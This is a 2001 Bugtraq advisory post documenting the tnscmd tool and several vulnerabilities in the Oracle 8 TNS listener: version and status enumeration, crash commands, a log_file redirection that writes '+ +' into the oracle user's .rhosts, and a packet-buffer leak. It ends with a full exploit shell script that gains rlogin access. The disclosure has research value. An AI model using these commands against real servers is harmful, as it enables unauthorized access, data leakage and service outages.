[20474] in bugtraq

home help back first fref pref prev next nref lref last post

Re: Oracle8 denial of service

daemon@ATHENA.MIT.EDU (James W. Abendschan)
Fri Apr 27 01:39:37 2001

MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Message-ID:  <Pine.LNX.4.30.0104261305450.25412-100000@nimue.int.jammed.com>
Date:         Thu, 26 Apr 2001 13:14:41 -0700
Reply-To: "James W. Abendschan" <jwa@JAMMED.COM>
From: "James W. Abendschan" <jwa@JAMMED.COM>
To: BUGTRAQ@SECURITYFOCUS.COM
In-Reply-To:  <5.0.2.1.0.20010426135050.01a98848@127.0.0.1>

On Wed, 25 Apr 2001, Guy Poizat wrote:

> > >It works against Oracle 8.0.5 running on linux as
> > >well...
> > >
> > >Tib
> >
> > Doesn't seem to work against Oracle 8.1.6 on linux, as far as i tried.

I finally got around to documenting the bugs I was able to find back
in October (DoS; write files wherever tnslsnr has write privs [ie, .rhosts];
packet leaking).  I'd be interested to know what other versions of Oracle are
affected by these problems -- I was testing Oracle 8.1.6 for Solaris (sun4u)
at the time.

The most current version of the document is available at:

   http://www.jammed.com/~jwa/hacks/security/tnscmd/tnscmd-doc.html

I've included it below at the request of Aleph1.  I'm interested
in feedback; don't be shy in telling me I've got this all wrong.

James


                          [1]tnscmd documentation

                               25 April 2001
                             [2]jwa@jammed.com
          $Id: tnscmd-doc.html,v 1.2 2001/04/26 06:46:47 jwa Exp $

  I. Intro

   tnscmd can be used to speak, on a very simple level, with Oracle's TNS
       listener.
       The TNS listener (aka tnslsnr) is the network interface between a
       database client and the database server. tnslsnr listens on port
       1521/tcp, but the DBA can change this (I've seen listeners on port
       1541/tcp as well.) fwiw, [3]nmap-services lists these as ncube-lm
       and rds2, respectively.
       The tnslnsr keeps a spartan log of activity -- spartan in that it
       doesn't log a whole lot of useful information. For instance, it
       does not log the IP address of TNS sessions.
       If you initiate a TCP session to the tnslsnr port, you won't make
       much headway; it won't provide a banner and will probably
       disconnect if you type something. Don't worry; this is what tnscmd
       is for.

  II. tnscmd

   tnscmd is not even close to a full-blown Oracle client; it simply
       talks to the tnslsnr process. tnslsnr will respond to certain
       commands such as ping (an application-level no-op), version (dumps
       version information about Oracle), status (dumps status about the
       listener and database instances), and services (dumps info about
       the running services.) Commands are apparently case-insensitive.
       Let's say we've found the host oraclebox.example.com listening on
       port 1521. It might be running Oracle; how can we tell? the 'ping'
       command is a good place to start; tnscmd will issue a 'ping'
       command if given no command.
       If we want to ping this host to see if it is actually running
       tnslsnr, we would type:
  unix% tnscmd -h oraclebox.example.com -p 1521
  sending (CONNECT_DATA=(COMMAND=ping)) to oraclebox.example.com:1521
  writing 87 bytes
  reading
  .I......"..=(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(ALIAS=LISTENER))

       Here we see three things:

     * the TNS command: (CONNECT_DATA=(COMMAND=ping))
     * the raw TNS packet sent to tnslsnr: .W.......6. [ etc ]
     * and the raw TNS reply packet from tnslsnr:
       .I......"..=(DESCRIPTION=( [etc]

   This reply is typical of 'ping' replies; the only thing I've noticed
   is VSNNUM=135290880 varies from host to host (yet it's the same on two
   different hosts running the same Oracle version). I don't know what
   this is.

  III. Information gathering

   OK, now we've established tnslsnr is running on this host. What else
       can we do? There are (at least) three commands that are useful for
       information gathering, version, status and services:
 unix% tnscmd version -h oraclebox.example.com -p 1521
 sending (CONNECT_DATA=(COMMAND=version)) to oraclebox.example.com:1521
 writing 90 bytes
 reading
 .M.......6.........-............(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)).
 a........TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production..TNS.for.Solaris:
 .Version.8.1.6.0.0.-.Production..Unix.Domain.Socket.IPC.NT.Protocol.Adaptor.fo
 r.Solaris:.Version.8.1.6.0.0.-.Production..Oracle.Bequeath.NT.Protocol.Adapter
 .for.Solaris:.Version.8.1.6.0.0.-.Production..TCP/IP.NT.Protocol.Adapter.for.S
 olaris:.Version.8.1.6.0.0.-.Production,,.........@

       This is pretty straightforward. version reveals the version of
       Oracle (in this case, 8.1.6.0.0 for Solaris). Another command,
       status is a bit more verbose:
 unix% tnscmd status -h oraclebox.example.com -p 1521
 sending (CONNECT_DATA=(COMMAND=status)) to oraclebox.example.com:1521
 writing 89 bytes
 reading
 .........6.........`.............j........(DESCRIPTION=(TMP=)(VSNNUM=135290880
 )(ERR=0)(ALIAS=LISTENER)(SECURITY=OFF)(VERSION=TNSLSNR.for.Solaris:.Version.8.
 1.6.0.0.-.Production)(START_DATE=01-SEP-2000.18:35:49)(SIDNUM=1)(LOGFILE=/u01/
 app/oracle/product/8.1.6/network/log/listener.log)(PRMFILE=/u01/app/oracle/pro

       [ snipped for brevity ]
       Wow, look at all that data. Kind of hard to read, but because it's
       all balanced within parens, we can break it up with the --indent
       option and make it purty:
       unix% tnscmd status -h oraclebox.example.com -p 1521 --indent
       We'll get something like:
  DESCRIPTION=
    TMP=
    VSNNUM=135290880
    ERR=0
    ALIAS=LISTENER
    SECURITY=OFF
    VERSION=TNSLSNR.for.Solaris:.Version.8.1.6.0.0.-.Production
    START_DATE=01-SEP-2000.18:35:49
    SIDNUM=1
    LOGFILE=/u01/app/oracle/product/8.1.6/network/log/listener.log
    PRMFILE=/u01/app/oracle/product/8.1.6//network/admin/listener.ora
    TRACING=off
    UPTIME=2032269835
    SNMP=OFF

       Note SECURITY=OFF. I believe this indicates whether or not the DBA
       has assigned a password to the listener.
       Note START_DATE and UPTIME. Not clear if UPTIME is the tnslsnr
       uptime or the host uptime.
       Note the path to LOGFILE and PRMFILE. This can give you a good
       idea of the filesystem layout.
       Other strange oracle stuff:
  ENDPOINT=
    HANDLER=
      STA=ready
      HANDLER_MAXLOAD=0
      HANDLER_LOAD=0
      ESTABLISHED=0
      REFUSED=0
      HANDLER_ID=7044210BF3E5-01C8-E034-0800208A66F0
      PRE=ttc
      SESSION=NS
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=ipc
          KEY=EXTPROC

  ENDPOINT=
    HANDLER=
      STA=ready
      HANDLER_MAXLOAD=0
      HANDLER_LOAD=0
      ESTABLISHED=0
      REFUSED=0
      HANDLER_ID=7044210BF3E6-01C8-E034-0800208A66F0
      PRE=ttc
      SESSION=NS
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=tcp
          HOST=oraclebox.example.com
          PORT=1521

  ENDPOINT=
    HANDLER=
      STA=ready
      HANDLER_MAXLOAD=0
      HANDLER_LOAD=0
      ESTABLISHED=0
      REFUSED=0
      HANDLER_ID=7044210BF3E7-01C8-E034-0800208A66F0
      PRE=giop
      SESSION=RAW
      DESCRIPTION=
        ADDRESS=
          PROTOCOL=tcp
          HOST=oraclebox.example.com
          PORT=2481
       .. unanswered question: what's running on port 2481?

        PROTOCOL_STACK=
          PRESENTATION=GIOP
          SESSION=RAW

  SERVICE=
    SERVICE_NAME=PLSExtProc
    INSTANCE=
      INSTANCE_NAME=PLSExtProc
      NUM=1
      INSTANCE_CLASS=ORACLE
      NUMREL=1

  SERVICE=
    SERVICE_NAME=pr01stage
    INSTANCE=
      INSTANCE_NAME=pr01stage
      NUM=1
      INSTANCE_CLASS=ORACLE
      NUMREL=1

  SERVICE=
    SERVICE_NAME=rcats
    INSTANCE=
      INSTANCE_NAME=rcats
      NUM=1
      INSTANCE_CLASS=ORACLE
      NUMREL=1
       [ ... ]
       The 'services' command outputs still more information:
 unix% tnscmd services -h oraclebox.example.com -p 1521 --indent

       [ ... ]

  SERVICE=
    SERVICE_NAME=PLSExtProc
    INSTANCE=
      INSTANCE_NAME=PLSExtProc
      NUM=1
      INSTANCE_CLASS=ORACLE
      HANDLER=
        HANDLER_DISPLAY=DEDICATED.SERVER
        STA=ready
        HANDLER_INFO=LOCAL.SERVER
        HANDLER_MAXLOAD=0
        HANDLER_LOAD=0
        ESTABLISHED=86
        REFUSED=0
        HANDLER_ID=7044210BF823-01C8-E034-0800208A66F0
        HANDLER_NAME=DEDICATED
        ADDRESS=
          PROTOCOL=beq
          PROGRAM=/u01/app/oracle/product/8.1.6/bin/extproc
          ENVS='ORACLE_HOME=/u01/app/oracle/product/8.1.6,ORACLE_SID=PLSExtProc
'

          ARGV0=extprocPLSExtProc
          ARGS='
            LOCAL=NO
          '
      NUMREL=1

       PROGRAM, ENVS, and ARGV0 are potentially interesting. If the
       tnslsnr was started out of an interactive shell, ENVS will contain
       the user's environment.

  IV. Break stuff

   tnslsnr is vulnerable to remote denial-of-service attacks and
       potential security issues. According to Oracle, only versions
       7.3.4, 8.0.6, and 8.1.6 are affected. I have verified
       vulnerabilities under 8.1.6 for Solaris.
       IV.1 - DoS:

   An unpassworded tnslsnr can also be shut down by sending it a 'stop'
       command. Obvious, eh?
       "Bad" TNS packets can crash the listener, regardless of whether or
       not the DBA has set a password. Sending
       tnscmd [badcommand] -h oraclebox.example.com
       will SEGV the listener. badcommand can be any one of:

   trc_file trc_level use_plugandplay trc_directory snmp_visible log_file
       log_status log_directory

   IV.2 - write files
       Recall the 'log_file' command and the LOGFILE variable returned by
       the 'status' command. This is the path to the tnslsnr log file. As
       you might imagine, this variable can be changed. If we send this
       TNS command (using the --rawcmd option to tnslsnr)
   unix% tnscmd -h oraclebox.example.com -p 1521 --rawcmd "(DESCRIPTION=(CONNEC
   T_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(COMMAND=log_file)(ARGUMENTS=4)(SERVICE
   =LISTENER)(VERSION=1)(VALUE=/tmp/floboz)))"

       .. then tnslsnr will open with O_APPEND /tmp/floboz and start
       logging messages to it. This can be verified by the response
       packet:
  ........"...(DESCRIPTION=(TMP=)(VSNNUM=135290880)(ERR=0)(COMMAND=log_file)(LO
G
  FILENAME=/tmp/floboz))

       .. or by
   unix% tnscmd status -h oraclebox.example.com --indent | grep LOG

       Since tnscmd runs as the oracle user, an attacker can write files
       anywhere the oracle user can. If an attacker knows the pathname to
       a database (can be deduced from the pathnames revealed by tnscmd),
       she can clobber the database.
       She might, however, chose a more subtle route: either by using
       finger or determining the oracle home directory by guesswork
       (/home/oracle? /u/oracle? /opt/oracle?), she can create a .rhosts
       or .forward file. While the tnslsnr doesn't log much, it *does*
       log bad commands; she can then send a command such as (note the
       embedded newlines in the quotes)
   unix% tnscmd -h oraclebox.example.com --rawcmd "(CONNECT_DATA=((
   + +
   "

       .. tnslnsr will log something along the lines of
   TNS-01153: Failed to process string:
   + +

   NL-00303: syntax error in NV string

       into our log file / .rhosts.

   IV.3: tns packet leakage

   To the best of my knowledge, this bug remains unpatched in Oracle
       8.1.7.
       By lying about the size of the packet we're sending to the
       tnslsnr, we can get the tnslsnr to reveal the contents of previous
       packets. We can do this with the --cmdsize option. While any
       command will work, we use " " (space) just so we preserve the
       original buffer contents as much as possible.
 unix% tnscmd --rawcmd " " -h oraclebox.example.com -p 1521 --cmdsize 40
 Sending   to oraclebox.example.com:1521
 Faking command length to 40 bytes
 connect writing 84 bytes [(CONNECT_DATA=(COMMAND= ))]
 .T.......6.,...............:................4.............(CONNECT_DATA=(COMMA
 ND=.))
 read
 ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
 =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT'))(ERROR=(CODE=3
 03)(EMFI=1))))

       .. that's odd, where did that vices))CONNECT come from? Hey, that
       looks familiar... it looks like the services command I just sent
       in the last example! But what's with the CONNECT ? CONNECT_DATA
       comes at the beginning of the packet; maybe there's another
       command here?
 unix% tnscmd " " -h oraclebox.example.com -p 1521 --cmdsize 90

       [ ... ]
 ........"...(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(ERROR=(CODE
 =1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(SID=stage1
 )(global_dbname=stage1.oraclebox.XX'))(ERROR=(CODE=303)(EMFI=1))))

       Apparently tnslsnr doesn't clear the buffer before writing a
       packet into it, or maybe it doesn't properly zero-terminate a
       string. Whatever is going on inside can be used to our advantage
       to harvest more interesting information. Let's go whole-hog and
       try it a --cmdsize of 200:
 ........"..>.H.......@(DESCRIPTION=(ERR=1153)(VSNNUM=135290880)(ERROR_STACK=(E
 RROR=(CODE=1153)(EMFI=4)(ARGS='(CONNECT_DATA=(COMMAND=.))vices))CONNECT_DATA=(
 SID=stage1)(global_dbname=stage1.oraclebox.XXXXXXX.example.com)(CID=(PROGRAM=C
 :\Program.Files\Quest.Software\TOAD\Toad.exe)(HOST=JAMESK-LT)(USER=JamesK))'))
 (ERROR=(CODE=303)(EMFI=1))))

       (I added the XXX's to balance the packet :) Huh, a pathname, a
       hostname, and a username. No passwords, unfortunately -- SQL*net
       login is handled in a child process, IIRC -- but a username is a
       good place to start. On a busy server, this can potentially reveal
       lots of usernames. If the listener is passworded and the DBA
       connects, will the password be leaked? hmm.
       By playing with the --cmdsize argument, the rest of the "old"
       packet(s) will be revealed. Once you've gone past a certain point,
       though, you'll just get a TNS error (ERR=1153). It's also not too
       hard to write a program to find the optimal values & run it
       against a server for a few days ..

  V. References:

     * [4]CVE entry
     * [5]Oracle security alerts
     * [6]ISS's advisory
     * [7]Oracle Control Utility Reference
     * [8]advisory sent to Oracle and CERT on 23 Oct 2000
     * [9]tnscmd home

  notes

   Commands intuited from 'strings `which tnslsnr`':

     * investigate spawn command; how to list what commands can be
       spawned?
     * ping - pings the listener
     * debug - dumps debugging info to the listener log
       (/u01/app/oracle/product/8.1.6/network/log/listener.log)
     * dispatch - ?
     * establish - "TNS-12504: TNS:listener was not given the SID in
       CONNECT_DATA"
     * reload - reloads config file
      06-OCT-2000 23:37:03 * (CONNECT_DATA=(COMMAND=reload)) * reload * 0
      06-OCT-2000 23:37:03 * service_register * pr01dev * 0
     * services - dumps all sorts of chilly data
     * save_config - writes config to a backup file. (can this be
       specified remotely? hrm)
     * trace - needs a "trace level", unsure of the syntax here
     * version - pretty output of the installed TNS listener version(s)
     * stop - shuts the listener down (on purpose). if the DBA has set
       the database up properly, this should not work without a password.

   0-day spl01t:

#!/bin/sh
#
# jwa@jammed.com  6 Oct 2000
#

# point the logfile at $HOME/.rhosts

./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
MMAND=log_file)(ARGUMENTS=4)(SERVICE=LISTENER)(VERSION=135294976)(VALUE=/u01/ho
me/oracle/.rhosts)))" -h oraclesvr2

# verify that it worked (this will dump the value of log_file)

./tnscmd --rawcmd "(DESCRIPTION=(CONNECT_DATA=(CID=(PROGRAM=)(HOST=)(USER=))(CO
MMAND=log_file)(ARGUMENTS=)(SERVICE=)))" -h oraclesvr2

# put arbitrary data into the logfile-- it will look something like this:
#
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:46 * log_file * 0
# 06-OCT-2000 18:14:47 * 1153
# TNS-01153: Failed to process string:
# + +
#
# NL-00303: syntax error in NV string
#

./tnscmd --rawcmd "
+ +
" -h oraclesvr2

#
# connect
#

rlogin -l oracle oraclesvr2

References

   1. http://www.jammed.com/~jwa/hacks/security/tnscmd
   2. mailto:jwa@jammed.com
   3. http://www.insecure.org/nmap
   4. http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2000-0818"
   5. http://otn.oracle.com/deploy/security/alerts.htm
   6. http://xforce.iss.net/alerts/advise66.php
   7. http://www.oradoc.com/ora8doc/DOC/network803/A51576_01/appa.htm
   8. http://www.jammed.com/~jwa/hacks/security/tnscmd/tns-advisory.txt
   9. http://www.jammed.com/~jwa/hacks/security/tnscmd/

home help back first fref pref prev next nref lref last post